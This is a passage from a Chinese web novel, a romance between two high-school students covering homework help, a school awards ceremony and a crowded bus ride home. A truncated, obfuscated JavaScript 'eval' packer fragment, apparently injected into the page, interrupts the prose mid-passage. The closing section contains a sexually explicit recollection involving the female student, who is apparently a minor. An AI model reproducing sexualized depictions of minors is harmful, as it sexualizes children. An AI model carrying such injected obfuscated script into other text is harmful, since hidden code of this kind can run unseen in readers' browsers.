书黛举起手指发誓:“我们保证,不是抄。你知道数学这种东西,不是抄一抄就会的。我们只是想看看他的解题思路。” 许舒檬秒懂。 毕竟周祠每次给自己讲题,哪怕他亲自讲,自己也要消化好长一段时间。 她咬了下唇,抗下重任:“可以。” 周祠的作业基本上在学校里就能写完,回家顶多就是收下尾。 今天破天荒的,许舒檬拿着他那张卷子,东看细看。 少年的字,纸透力背,龙飞凤舞。 周祠见她拿着手机,在那儿找角度,找好了之后,就东拍西拍。 他骨节分明的手指敲了敲桌子,好奇道:“我写的不是字?” 许舒檬撇了撇嘴:“是字,但就这飘逸的弧度,不凑近了看,还真看不清楚。”凑远了,就像鬼画符。 周祠清瘦的下巴扬着,盯着她看,没明白这搞得又是哪一出。 他轻声吐槽:“事多。” 许舒檬当听不见,毕竟今晚要是没写出来,熬夜的可不止是她自己。 拍完了,她发到三人的群里。 李枝桠:【谢谢檬檬!】 书黛:【檬檬一生亲!!】 许舒檬回了句不客气,顺便发了一个亲亲的表情包,就急忙下了线。 因为周祠还在旁边等着给她讲题,讲完了,两人才好休息。 第二天,李枝桠和书黛挂着黑眼圈。 许舒檬很意外,这两人的状态非但没有变好,反而还越来越糟糕。 她说:“又熬到几点?” 书黛比了个三。 李枝桠比了个二。 许舒檬感同身受,熬夜没睡好,第二天肯定又是一个恶性循环。 她没止住问:“都熬什么了?” 书黛嚎叫一声:“当然是数学啊!” 许舒檬很意外:“可是,我不是都把思路发给你们了吗?” 书黛欲言又止,抓着头发狂挠:“檬檬,没别的意思,就是想问问,周祠写的那些步骤,凭你自己,能看懂吗?” 许舒檬回忆了下,当然是摇头。 不然她也不用等周祠给自己讲。 想起什么,许舒檬脑中突然幡然醒悟。 啊!不对。 周祠给的步骤都是简化版本。 因为他不用写的那么复杂,李里格也能看得懂。而越是步骤省略,李里格就越是喜欢。 可对于数学能力欠了些火候的同学们来说,这无异于是难上加上,半懂似懂。 她话卡在喉咙里,有种突然把书黛和枝桠给害惨了的感觉。 该死的,只顾着把周祠的步骤发给她们,没顾着,她们真的能不能看懂。 书黛大为感叹,又为自己的无能感到悲哀:“哎,看了还不如不看。一只脚踏进门坎,一只脚却怎么也踏不进去。好煎熬。你说人都是一个脑子,为什么周祠的脑子就跟别人不一样。” 李枝桠已经开始发呆放空,显然是意识开始溃散。 许舒檬抿了抿唇,不好意思地挠了挠下巴。 突然有种,自己好心,却误办了坏事的骑虎难下感。 这件小插曲以后,半个月过的飞快。 全校正式开学的那一天,周祠出尽了风头。 主任在上面颁奖,一边给头颈笔直的少年戴上金牌,一边欣慰说道:“你啊你,好好过高三。不要再冲动打架。安心准备考试。” 少年含糊的嗯了一声。余光却往底下八班的方阵不屑一瞥。 他想,八班要是再犯贱造次,照打不误,谁来劝,都不好使。 等颁完奖,主任让周祠留下,给同学们发表获奖感言,顺便分享一下学习方法。 书黛站在方阵里,一听主任这话,当场就乐了:“大神的方法,岂是我等凡人能懂的?” 其实周祠讲了什么,也不重要。 一是听了也没用。 二是他往旗台上一站,别人的注意力也只会在他白皙桀骜的脸上。 果不其然,少年对着话筒讲话,嗓音低沉爽朗,像冰块撞进气泡,在炎炎夏日里,给人注入一剂沁人心脾的清凉。 高一新来的迷妹,瞬间群群尖叫。 “那是周学长吗?好帅。” “他跟那些偷拍高糊照一样好看,不,甚至本人更精致。” “学长是真的好厉害!” 许舒檬听的那些迷妹的呐喊,觉得这些人对周祠的滤镜可真重。 这张脸,看多了,两只眼睛,一个鼻子,一张嘴巴,不也是那么一回事。 放了学,因为天气炎热,又比较赶时间。 两人现在大多数时候,都开始挤公交。 放□□,人很多。 一车装的满满。 周祠走前面,时不时回头看她跟没跟上。 就许舒檬那小矮子身高,很容易就被人群给淹没。 人还在不断地往上面涌,滴卡声不断。 周祠看不下去,寻了一个后面的站位,直接把人往怀里一拉。 他单手吊着手把,用自己的身体,给许舒檬圈了一个狭窄的空间出来。 小是小了点,但不至于被人挤。 回家要半个小时,许舒檬同其他学生一样,拿了知识手册出来,埋头争分夺秒的默背。 司机一个急刹,她没站稳,差点往旁边倒去。 周祠垂眸,眼疾手快地把她往回拉。 他轻啧一声,提醒她道:“回去再看,不差这一会儿。” 许舒檬坚持:“不行,马上背完了。” 周祠抿唇,也懒得废话,直接把她手臂往自己腰上搂。 他动作幅度太大,许舒檬被拉得整张脸几乎埋在他的胸口,甚至还因为他胸肌太鼓,许舒檬的脸还被撞得回弹了一下。 手下是劲瘦紧致的腰。 等许舒檬复又站好,她把搂这个动作,变成了抓,不然自己根本看不清手册上的内容。 少年的腰侧被她紧紧抓着。 周祠无语,觉得自己现在跟一根固定的扶手,没什么两样。 车走走停停。 中间下了些人,前面一堆穿着其他学校校服的女的,就渐渐往后面挪了过来。 许舒檬余光瞥着有闪光灯,等确认是在对着他们这个方向拍后,她扯了扯周祠的衣服。 “什么?” 外面车水马龙,汽车鸣笛。 周祠没听清,弯下腰,去听她在说什么。 许舒檬踮脚,车身晃动,导致张嘴说话时,她娇软的唇,刮过他的耳轮廓,说话时的清香气息,喷洒在周祠的侧脸。 “有人在偷拍你。” 周祠抬起狭长的眼尾,拧眉往旁边一瞥。 果不其然,一堆女的蠢蠢欲动。 大有商量着,要过来要联系方式的趋势。 周祠挑眉,单手漫不经心地吊着:“噢——,那怎么办?” 好似当事人跟他无关似的。 许舒檬见状也耸肩:“凉拌。” 然而越是不搭理,那些人就越有冒犯的趋势。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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但舒妈现在也不在,她也没法问,也没办法直接反驳。 许舒檬语气矮了点。 周祠抬眼看见人在纠结。 怕伤到人自尊心,又不愿意直接说自己是开玩笑的。 周祠看着前方的路,咳了下嗓,然后及时找补:“打呼跟小猪一样,也挺可爱。你介意什么。” 她不服,拿书包往人身上直接砸:“快别说了吧。”哪个女孩子愿意被人说像猪。 周祠灵活躲开,忍俊不禁地扬了下眉骨。 她又问:”欸?“ “怎么?” 许舒檬有点难为情,握了握自己的书包带子,低着头道:“除了这个,我睡觉还有什么不好的习惯吗?” 周祠没想到她竟然认真纠结了起来。 他微怔了下,有点躲避话题。 头往一边偏,薄削的侧脸,在月光的照耀下,忽明忽暗:“到家了,别想那么多。” 她拉住他的手臂,往后拖着,边走变晃:“说呀。周祠,你越是这样遮遮掩掩,我就越是惦记的慌。” “我和黛黛她们约好了毕业就去旅游,到时候要一起住房间的。” “不会是梦游吧?要是吓到黛黛怎么办。” 周祠顿时停下:“你们什么时候说好的?”他怎么不知道, 许舒檬好奇心攀到巅峰:“这个不重要。重要的事,你还没回答我。” 周祠目光往自己手臂不经意落。 她如葱白嫩般的五指正抓着自己。 少年漂亮的指尖,没忍住,凭空蜷了蜷。 想起手臂被骑,饱满窄缝透出的一道湿濡。 隔着底裤,渐渐磨湿了他的肌肤,留下温热柔软的触感。 他下意识地捻了捻空荡荡的手指,喉结紧了紧,最后低声解释道:“什么都没有的事,我刚逗你的。” “真的?我就说嘛,怎么可能。” “周祠,你个混蛋。” “下次再这么逗我,我就咬你了。” 她拿小拳头捶了他肩头一下,然后再兴奋的跑开,比谁先上楼到家开灯。 周祠把手揣进了裤兜,没跟以往一样追上去。 反而不急不慢,目光稳重的,看着她渐渐变小的身影。 他吞了吞喉咙,如鲠在喉。 少年想,他怎么好意思跟她讲。 每次早上去叫她,她都夹着被子。 而初初的那一次,为了唤醒赖床的她,被子被他不懂事地抽离。 而周祠没来得及拿开的手臂,被少女错当成了被子,直接两腿张开,就夹了上来。